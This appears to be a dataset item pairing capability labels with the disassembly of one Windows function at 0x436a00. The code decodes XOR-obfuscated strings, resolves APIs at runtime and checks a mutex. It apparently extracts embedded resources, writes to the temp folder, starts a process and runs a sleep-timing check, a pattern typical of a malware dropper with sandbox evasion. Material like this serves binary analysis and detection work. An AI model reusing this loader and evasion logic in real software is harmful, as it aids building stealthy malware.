Function at 0x436a00
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Get common file path
Link many functions at runtime
Terminate process

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x308
call fcn.00411a4c
lea eax, [ebp - 0x294]
mov dword [esp], eax
call fcn.00401ec2
mov dword [esp], 0x43a8c4
call fcn.00417d10
mov dword [esp], 0x43a8b4
mov esi, eax
call fcn.00417d10
cmp byte [esi], 0
mov ecx, eax
lea ebx, [eax + 0xa]
jne 0x436a68
xor edi, edi
mov dword [eax + 8], edi
mov dword [eax], edi
mov dword [eax + 4], edi
mov dword [eax + 0xa], 0xcbddd5de
mov word [ebx + 4], 0x9fd0
mov byte [esi], 1
cmp byte [ecx + 9], 0
mov esi, 0xffffff9a
jne 0x436abc
mov eax, dword [ecx + 4]
mov edi, dword [ecx]
lea edx, [eax + 1]
cmp edx, edi
jne 0x436a82
inc eax
jmp 0x436aae
lea edx, [eax + 2]
cmp edi, edx
jne 0x436a8e
add eax, 2
jmp 0x436aae
cmp eax, edi
jne 0x436a98
mov eax, esi
xor byte [ebx], al
jmp 0x436ab4
lea edx, [eax + 4]
cmp edi, edx
jne 0x436aa4
add eax, 3
jmp 0x436aae
lea edx, [eax + 5]
cmp edi, edx
jne 0x436ab4
add eax, 4
xor byte [ebx], al
inc dword [ecx]
jmp 0x436a73
inc esi
inc ebx
mov eax, esi
cmp al, 0xa0
jne 0x436a73
lea eax, [ecx + 0xa]
xor esi, esi
mov byte [ecx + 9], 1
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
sub esp, 0xc
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x436b03
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
xor ecx, ecx
mov dword [ebp - 0x2b4], ecx
jmp 0x437779
call fcn.004047d7
mov dword [ebp - 0x2b4], eax
test eax, eax
je 0x436b1f
mov dword [esp], 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x220]
mov dword [esp], 0x104
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edx
push edx
test eax, eax
je 0x436af6
mov dword [esp], 0x43a8e4
call fcn.00417d10
mov dword [esp], 0x43a8d4
mov ebx, eax
call fcn.00417d10
cmp byte [ebx], 0
mov edx, eax
jne 0x436b7b
xor eax, eax
mov esi, 0x43b24a
mov ecx, 0x21
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
lea eax, [edx + 0xa]
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x436bd2
lea ecx, [edx + 0xa]
mov esi, 0xffffff9a
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x436b98
inc eax
jmp 0x436bc4
lea edi, [eax + 2]
cmp ebx, edi
jne 0x436ba4
add eax, 2
jmp 0x436bc4
cmp ebx, eax
jne 0x436bae
mov eax, esi
xor byte [ecx], al
jmp 0x436bca
lea edi, [eax + 4]
cmp ebx, edi
jne 0x436bba
add eax, 3
jmp 0x436bc4
lea edi, [eax + 5]
cmp ebx, edi
jne 0x436bca
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x436b89
inc esi
inc ecx
mov eax, esi
cmp al, 0xbb
jne 0x436b89
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov dword [ebp - 0x2b0], eax
mov dword [esp], 0x43a904
call fcn.00417d10
mov dword [esp], 0x43a8f4
mov ebx, eax
call fcn.00417d10
cmp byte [ebx], 0
mov edx, eax
jne 0x436c29
xor esi, esi
lea eax, [eax + 0xa]
mov ecx, 0xd
mov dword [eax - 0xa], esi
mov dword [eax - 6], esi
mov dword [eax - 2], esi
mov esi, 0x43b216
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x436c80
lea ecx, [edx + 0xa]
mov esi, 0xffffff9a
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x436c46
inc eax
jmp 0x436c72
lea edi, [eax + 2]
cmp ebx, edi
jne 0x436c52
add eax, 2
jmp 0x436c72
cmp ebx, eax
jne 0x436c5c
mov eax, esi
xor byte [ecx], al
jmp 0x436c78
lea edi, [eax + 4]
cmp ebx, edi
jne 0x436c68
add eax, 3
jmp 0x436c72
lea edi, [eax + 5]
cmp ebx, edi
jne 0x436c78
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x436c37
inc esi
inc ecx
mov eax, esi
cmp al, 0xa7
jne 0x436c37
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x2b0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push ebx
mov dword [ebp - 0x2b8], eax
mov dword [esp], 0x43a924
call fcn.00417d10
mov dword [esp], 0x43a914
mov ebx, eax
call fcn.00417d10
cmp byte [ebx], 0
mov edx, eax
jne 0x436ce2
xor ecx, ecx
lea eax, [eax + 0xa]
mov esi, 0x43b1fe
mov dword [eax - 0xa], ecx
mov dword [eax - 6], ecx
mov dword [eax - 2], ecx
mov ecx, 0xd
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x436d39
lea ecx, [edx + 0xa]
mov esi, 0xffffff9b
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x436cff
inc eax
jmp 0x436d2b
lea edi, [eax + 2]
cmp ebx, edi
jne 0x436d0b
add eax, 2
jmp 0x436d2b
cmp ebx, eax
jne 0x436d15
mov eax, esi
xor byte [ecx], al
jmp 0x436d31
lea edi, [eax + 4]
cmp ebx, edi
jne 0x436d21
add eax, 3
jmp 0x436d2b
lea edi, [eax + 5]
cmp ebx, edi
jne 0x436d31
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x436cf0
inc esi
inc ecx
mov eax, esi
cmp al, 0xa8
jne 0x436cf0
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x2b0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edx
push edx
mov dword [ebp - 0x2bc], eax
mov dword [esp], 0x43a944
call fcn.00417d10
mov dword [esp], 0x43a934
mov ebx, eax
call fcn.00417d10
cmp byte [ebx], 0
mov edx, eax
jne 0x436d9a
xor eax, eax
mov esi, 0x43b1e2
mov ecx, 0xf
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
lea eax, [edx + 0xa]
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x436df1
lea ecx, [edx + 0xa]
mov esi, 0xffffff9b
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x436db7
inc eax
jmp 0x436de3
lea edi, [eax + 2]
cmp ebx, edi
jne 0x436dc3
add eax, 2
jmp 0x436de3
cmp ebx, eax
jne 0x436dcd
mov eax, esi
xor byte [ecx], al
jmp 0x436de9
lea edi, [eax + 4]
cmp ebx, edi
jne 0x436dd9
add eax, 3
jmp 0x436de3
lea edi, [eax + 5]
cmp ebx, edi
jne 0x436de9
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x436da8
inc esi
inc ecx
mov eax, esi
cmp al, 0xaa
jne 0x436da8
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x2b0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push edi
mov dword [ebp - 0x2c0], eax
mov dword [esp], 0x43a964
call fcn.00417d10
mov dword [esp], 0x43a954
mov ebx, eax
call fcn.00417d10
cmp byte [ebx], 0
mov edx, eax
jne 0x436e53
xor esi, esi
lea eax, [eax + 0xa]
mov ecx, 0xe
mov dword [eax - 0xa], esi
mov dword [eax - 6], esi
mov dword [eax - 2], esi
mov esi, 0x43b1ca
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x436eaa
lea ecx, [edx + 0xa]
mov esi, 0xffffff9b
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x436e70
inc eax
jmp 0x436e9c
lea edi, [eax + 2]
cmp ebx, edi
jne 0x436e7c
add eax, 2
jmp 0x436e9c
cmp ebx, eax
jne 0x436e86
mov eax, esi
xor byte [ecx], al
jmp 0x436ea2
lea edi, [eax + 4]
cmp ebx, edi
jne 0x436e92
add eax, 3
jmp 0x436e9c
lea edi, [eax + 5]
cmp ebx, edi
jne 0x436ea2
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x436e61
inc esi
inc ecx
mov eax, esi
cmp al, 0xa9
jne 0x436e61
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x2b0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edx
xor ecx, ecx
push edx
mov dword [ebp - 0x2c4], eax
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0x67
mov dword [esp], ecx
call eax
sub esp, 0xc
mov ebx, eax
test eax, eax
je 0x437530
xor edi, edi
mov dword [esp + 4], eax
mov dword [esp], edi
mov eax, dword [ebp - 0x2b8]
call eax
push esi
push esi
test eax, eax
je 0x4371d7
mov dword [esp], eax
mov eax, dword [ebp - 0x2bc]
call eax
push ecx
mov dword [ebp - 0x2c8], eax
mov dword [esp + 4], ebx
xor ebx, ebx
mov dword [esp], ebx
mov eax, dword [ebp - 0x2c0]
call eax
push edx
push edx
cmp dword [ebp - 0x2c8], 0
mov dword [ebp - 0x2cc], eax
je 0x4371d7
test eax, eax
je 0x4371d7
mov dword [esp], 0x43a984
call fcn.00417d10
mov dword [esp], 0x43a974
mov ebx, eax
call fcn.00417d10
cmp byte [ebx], 0
mov edx, eax
jne 0x436f8a
xor eax, eax
mov esi, 0x43b1ac
mov ecx, 5
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
lea eax, [edx + 0xc]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [edx + 0xa], 0
jne 0x437046
mov ecx, dword [edx + 4]
lea eax, [ecx + 1]
lea edi, [ecx + 3]
mov dword [ebp - 0x2d0], eax
lea eax, [ecx + 2]
mov dword [ebp - 0x2d8], eax
lea eax, [ecx + 4]
mov dword [ebp - 0x2e0], eax
lea eax, [ecx + 5]
mov dword [ebp - 0x2e4], eax
lea eax, [ecx + 4]
mov word [ebp - 0x2d4], ax
lea eax, [ecx + 2]
mov word [ebp - 0x2dc], ax
lea eax, [ecx + 1]
mov word [ebp - 0x2d2], ax
xor eax, eax
mov ebx, dword [edx]
mov esi, dword [ebp - 0x2d0]
cmp ebx, esi
jne 0x436ff3
mov si, word [ebp - 0x2d2]
jmp 0x437031
mov esi, dword [ebp - 0x2d8]
cmp ebx, esi
jne 0x437005
mov esi, dword [ebp - 0x2dc]
jmp 0x437031
cmp ebx, ecx
jne 0x437013
lea ebx, [eax - 0x64]
xor word [edx + eax*2 + 0xc], bx
jmp 0x437040
mov esi, dword [ebp - 0x2e0]
cmp ebx, esi
jne 0x437021
mov esi, edi
jmp 0x437031
mov esi, dword [ebp - 0x2e4]
cmp ebx, esi
jne 0x437040
mov esi, dword [ebp - 0x2d4]
xor si, word [edx + eax*2 + 0xc]
inc ebx
mov word [edx + eax*2 + 0xc], si
mov dword [edx], ebx
jmp 0x436fde
inc eax
cmp eax, 0xa
jne 0x436fde
lea eax, [ebp - 0x220]
mov byte [edx + 0xa], 1
lea esi, [ebp - 0x264]
mov dword [esp], eax
mov ecx, esi
lea ebx, [edx + 0xc]
call fcn.00401592
push eax
mov ecx, esi
mov dword [esp], ebx
call fcn.004327e0
push edi
lea ecx, [ebp - 0x27c]
mov dword [esp], eax
call fcn.00434130
mov ecx, esi
push eax
call fcn.004318a0
mov dword [esp], 0x43a9a4
call fcn.00417d10
mov dword [esp], 0x43a994
mov ebx, eax
call fcn.00417d10
cmp byte [ebx], 0
mov edx, eax
jne 0x4370c5
xor esi, esi
lea eax, [eax + 0xc]
mov ecx, 5
mov dword [eax - 0xc], esi
mov dword [eax - 8], esi
mov dword [eax - 4], esi
mov esi, 0x43b1ac
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [edx + 0xa], 0
jne 0x437181
mov ecx, dword [edx + 4]
lea eax, [ecx + 1]
lea edi, [ecx + 3]
mov dword [ebp - 0x2d0], eax
lea eax, [ecx + 2]
mov dword [ebp - 0x2d8], eax
lea eax, [ecx + 4]
mov dword [ebp - 0x2e0], eax
lea eax, [ecx + 5]
mov dword [ebp - 0x2e4], eax
lea eax, [ecx + 4]
mov word [ebp - 0x2d4], ax
lea eax, [ecx + 2]
mov word [ebp - 0x2dc], ax
lea eax, [ecx + 1]
mov word [ebp - 0x2d2], ax
xor eax, eax
mov ebx, dword [edx]
mov esi, dword [ebp - 0x2d0]
cmp ebx, esi
jne 0x43712e
mov si, word [ebp - 0x2d2]
jmp 0x43716c
mov esi, dword [ebp - 0x2d8]
cmp ebx, esi
jne 0x437140
mov esi, dword [ebp - 0x2dc]
jmp 0x43716c
cmp ebx, ecx
jne 0x43714e
lea ebx, [eax - 0x64]
xor word [edx + eax*2 + 0xc], bx
jmp 0x43717b
mov esi, dword [ebp - 0x2e0]
cmp ebx, esi
jne 0x43715c
mov esi, edi
jmp 0x43716c
mov esi, dword [ebp - 0x2e4]
cmp ebx, esi
jne 0x43717b
mov esi, dword [ebp - 0x2d4]
xor si, word [edx + eax*2 + 0xc]
inc ebx
mov word [edx + eax*2 + 0xc], si
mov dword [edx], ebx
jmp 0x437119
inc eax
cmp eax, 0xa
jne 0x437119
mov byte [edx + 0xa], 1
add edx, 0xc
lea esi, [ebp - 0x264]
mov dword [esp], edx
mov ecx, esi
call fcn.00401592
push ebx
mov dword [esp + 8], esi
mov eax, dword [ebp - 0x2cc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c8]
mov dword [esp], eax
call fcn.004022fd
mov ebx, eax
mov ecx, esi
call fcn.004318a0
test bl, bl
lea ebx, [ebp - 0x27c]
je 0x4371d0
mov dword [esp], ebx
call fcn.0040241d
mov ecx, ebx
call fcn.004318a0
lea edx, [ebp - 0x260]
xor eax, eax
mov ecx, 0x10
mov edi, edx
lea edx, [ebp - 0x2a4]
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 4
mov dword [ebp - 0x264], 0x44
rep stosd dword es:[edi], eax
mov dword [esp], 0x43a9c4
call fcn.00417d10
mov dword [esp], 0x43a9b4
mov ebx, eax
call fcn.00417d10
cmp byte [ebx], 0
mov edx, eax
jne 0x437241
xor ecx, ecx
lea eax, [eax + 0xa]
mov esi, 0x43b17a
mov dword [eax - 0xa], ecx
mov dword [eax - 6], ecx
mov dword [eax - 2], ecx
mov ecx, 0xf
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x437298
lea ecx, [edx + 0xa]
mov esi, 0xffffff9d
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x43725e
inc eax
jmp 0x43728a
lea edi, [eax + 2]
cmp ebx, edi
jne 0x43726a
add eax, 2
jmp 0x43728a
cmp ebx, eax
jne 0x437274
mov eax, esi
xor byte [ecx], al
jmp 0x437290
lea edi, [eax + 4]
cmp ebx, edi
jne 0x437280
add eax, 3
jmp 0x43728a
lea edi, [eax + 5]
cmp ebx, edi
jne 0x437290
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x43724f
inc esi
inc ecx
mov eax, esi
cmp al, 0xac
jne 0x43724f
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x2b0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edx
push edx
mov dword [ebp - 0x2b0], eax
mov dword [esp], 0x43a9e4
call fcn.00417d10
mov dword [esp], 0x43a9d4
mov ebx, eax
call fcn.00417d10
cmp byte [ebx], 0
mov edx, eax
jne 0x4372f9
xor eax, eax
mov esi, 0x43b12c
mov ecx, 0x42
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
lea eax, [edx + 0xc]
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 0xa], 0
jne 0x4373b5
mov ecx, dword [edx + 4]
lea eax, [ecx + 1]
lea edi, [ecx + 3]
mov dword [ebp - 0x2c8], eax
lea eax, [ecx + 2]
mov dword [ebp - 0x2d0], eax
lea eax, [ecx + 4]
mov dword [ebp - 0x2d8], eax
lea eax, [ecx + 5]
mov dword [ebp - 0x2dc], eax
lea eax, [ecx + 4]
mov word [ebp - 0x2e0], ax
lea eax, [ecx + 2]
mov word [ebp - 0x2d2], ax
lea eax, [ecx + 1]
mov word [ebp - 0x2cc], ax
xor eax, eax
mov ebx, dword [edx]
mov esi, dword [ebp - 0x2c8]
cmp ebx, esi
jne 0x437361
mov esi, dword [ebp - 0x2cc]
jmp 0x4373a0
mov esi, dword [ebp - 0x2d0]
cmp ebx, esi
jne 0x437374
mov si, word [ebp - 0x2d2]
jmp 0x4373a0
cmp ebx, ecx
jne 0x437382
lea ebx, [eax - 0x63]
xor word [edx + eax*2 + 0xc], bx
jmp 0x4373af
mov esi, dword [ebp - 0x2d8]
cmp ebx, esi
jne 0x437390
mov esi, edi
jmp 0x4373a0
mov esi, dword [ebp - 0x2dc]
cmp ebx, esi
jne 0x4373af
mov esi, dword [ebp - 0x2e0]
xor si, word [edx + eax*2 + 0xc]
inc ebx
mov word [edx + eax*2 + 0xc], si
mov dword [edx], ebx
jmp 0x43734d
inc eax
cmp eax, 0x21
jne 0x43734d
lea eax, [ebp - 0x2a4]
mov byte [edx + 0xa], 1
add edx, 0xc
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x264]
mov dword [esp + 0x20], eax
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [ebp - 0x2b0]
call eax
sub esp, 0x28
test eax, eax
je 0x437530
call fcn.0042d960
mov dword [esp], 0x2710
mov esi, eax
mov edi, edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push eax
call fcn.0042d960
sub eax, esi
sbb edx, edi
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], edx
fild qword [ebp - 0x2b0]
fstp qword [ebp - 0x2b0]
fld qword [ebp - 0x2b0]
fld dword [str._knN]
fdivp st(1)
fstp qword [ebp - 0x2b0]
fld qword [ebp - 0x2b0]
fld dword [0x43c038]
fcompi st(1)
fstp st(0)
jbe 0x437484
mov eax, dword [ebp - 0x2a4]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp], eax
call ebx
push eax
mov eax, dword [ebp - 0x2a0]
mov dword [esp], eax
call ebx
jmp 0x436af5
xor eax, eax
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0x66
mov dword [esp], eax
mov eax, dword [ebp - 0x2c4]
call eax
sub esp, 0xc
mov ebx, eax
test eax, eax
je 0x437530
xor edi, edi
mov dword [esp + 4], eax
mov dword [esp], edi
mov eax, dword [ebp - 0x2b8]
call eax
push esi
push esi
test eax, eax
je 0x437530
mov dword [esp], eax
mov eax, dword [ebp - 0x2bc]
call eax
push ecx
mov esi, eax
mov dword [esp + 4], ebx
xor ebx, ebx
mov dword [esp], ebx
mov eax, dword [ebp - 0x2c0]
call eax
push edx
mov ebx, eax
push edx
mov dword [esp], eax
call fcn.00435e00
mov edi, eax
mov ecx, ebx
mov dword [ebp - 0x2b0], eax
xor eax, eax
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0x65
mov dword [esp], eax
mov eax, dword [ebp - 0x2c4]
call eax
sub esp, 0xc
mov esi, eax
test eax, eax
jne 0x43753f
mov eax, dword [ebp - 0x2b0]
mov dword [esp], eax
call fcn.00435dd0
mov dword [ebp - 0x2b4], 0xffffffff
jmp 0x437779
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp], eax
mov eax, dword [ebp - 0x2b8]
call eax
push edi
push edi
test eax, eax
je 0x437522
mov dword [esp], eax
mov eax, dword [ebp - 0x2bc]
call eax
push ecx
mov edi, eax
mov dword [esp + 4], esi
xor esi, esi
mov dword [esp], esi
mov eax, dword [ebp - 0x2c0]
call eax
mov esi, eax
push edx
push edx
test edi, edi
je 0x437522
test eax, eax
je 0x437522
mov dword [esp], 4
call fcn.00435e10
mov dword [eax], 0x43fa44
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2bc], eax
mov dword [esp], esi
call fcn.00435e00
mov ecx, dword [ebp - 0x2bc]
mov dword [ebp - 0x2b8], eax
mov eax, dword [ecx]
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], ebx
mov ebx, dword [ebp - 0x2b0]
mov dword [esp + 8], ebx
mov ebx, dword [ebp - 0x2b8]
mov dword [esp], edi
mov dword [esp + 4], ebx
call dword [eax]
sub esp, 0x14
mov dword [esp + 4], esi
mov eax, dword [ebp - 0x2b8]
mov dword [esp], eax
call fcn.0040253b
test eax, eax
jne 0x43761a
mov eax, dword [ebp - 0x2b8]
mov dword [esp], eax
call fcn.00435dd0
mov eax, dword [ebp - 0x2b0]
mov dword [esp], eax
call fcn.00435dd0
mov dword [ebp - 0x2b4], 0xffffffff
jmp 0x43771d
mov dword [esp], 0x43aa04
call fcn.00417d10
mov dword [esp], 0x43a9f4
mov ebx, eax
call fcn.00417d10
cmp byte [ebx], 0
mov edx, eax
jne 0x43765a
xor esi, esi
lea eax, [eax + 0xa]
mov ecx, 0xd
mov dword [eax - 0xa], esi
mov dword [eax - 6], esi
mov dword [eax - 2], esi
mov esi, 0x43b0f6
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4376b1
lea ecx, [edx + 0xa]
mov edi, 0xffffff9d
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea esi, [eax + 1]
cmp ebx, esi
jne 0x437677
inc eax
jmp 0x4376a3
lea esi, [eax + 2]
cmp ebx, esi
jne 0x437683
add eax, 2
jmp 0x4376a3
cmp ebx, eax
jne 0x43768d
mov eax, edi
xor byte [ecx], al
jmp 0x4376a9
lea esi, [eax + 4]
cmp ebx, esi
jne 0x437699
add eax, 3
jmp 0x4376a3
lea esi, [eax + 5]
cmp ebx, esi
jne 0x4376a9
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x437668
inc edi
inc ecx
mov eax, edi
cmp al, 0xaa
jne 0x437668
mov byte [edx + 9], 1
add edx, 0xa
lea esi, [ebp - 0x27c]
mov dword [esp], edx
mov ecx, esi
call fcn.00401606
push ecx
mov dword [esp], esi
call fcn.00401f00
mov ebx, eax
mov ecx, esi
call fcn.0042da30
test ebx, ebx
jne 0x4376e3
call fcn.00402f4b
mov eax, dword [ebp - 0x2b8]
mov dword [esp], eax
call fcn.00435dd0
mov eax, dword [ebp - 0x2b0]
mov dword [esp], eax
call fcn.00435dd0
mov eax, dword [ebp - 0x2a4]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp], eax
call ebx
push edx
mov eax, dword [ebp - 0x2a0]
mov dword [esp], eax
call ebx
push eax
lea ecx, [ebp - 0x2a8]
call fcn.0042bad0
jmp 0x437779
lea ecx, [ebp - 0x294]
call fcn.0042da30
mov eax, dword [ebp - 0x2b4]
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret